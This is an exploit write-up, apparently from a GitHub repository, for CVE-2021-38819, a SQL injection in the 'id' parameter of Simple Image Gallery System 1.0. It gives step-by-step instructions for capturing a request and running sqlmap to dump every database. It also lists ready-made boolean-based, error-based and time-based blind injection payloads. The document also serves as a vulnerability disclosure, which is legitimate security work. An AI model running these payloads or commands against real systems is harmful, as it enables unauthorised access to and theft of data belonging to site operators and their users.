CVE-2021-38819: CVE-2021-38819/CVE-2021-38819.md at main · m4sk0ff/CVE-2021-38819

Exploit Title: Simple Image Gallery System 1.0 - “id” SQL Injection****Google Dork: N/A****Date: 2020-08-12****Exploit Author: M4sk0ff****Vendor Homepage: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html****Software Link: https://www.sourcecodester.com/download-code?nid=14903&title=Simple+Image+Gallery+Web+App+using+PHP+Free+Source+Code****Version: Version 1.0****Category: Web Application****Tested on: Kali Linux****CVE : CVE-2021-38819

Description:

Simple Image Gallery System 1.0 application is vulnerable to SQL injection via the “id” parameter on the album page.

POC:

Step 1. Login to the application with any verified user credentials

Step 2. Click on Albums page and select an albums if created or create by clicking on “Add New” on the top right and select the album.

Step 3. Click on an image and capture the request in burpsuite. Now copy the request and save it as test.req .

Step 4. Run the sqlmap command "sqlmap -r test.req --dbs

Step 5. This will inject successfully and you will have an information disclosure of all databases contents.

Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=3’ AND 7561=7561 AND 'SzOW’=’SzOW

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=3' OR (SELECT 9448 FROM(SELECT COUNT(*),CONCAT(0x7178707071,(SELECT (ELT(9448=9448,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'SXqA'='SXqA

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=3' AND (SELECT 1250 FROM (SELECT(SLEEP(5)))aNMX) AND 'qkau'='qkau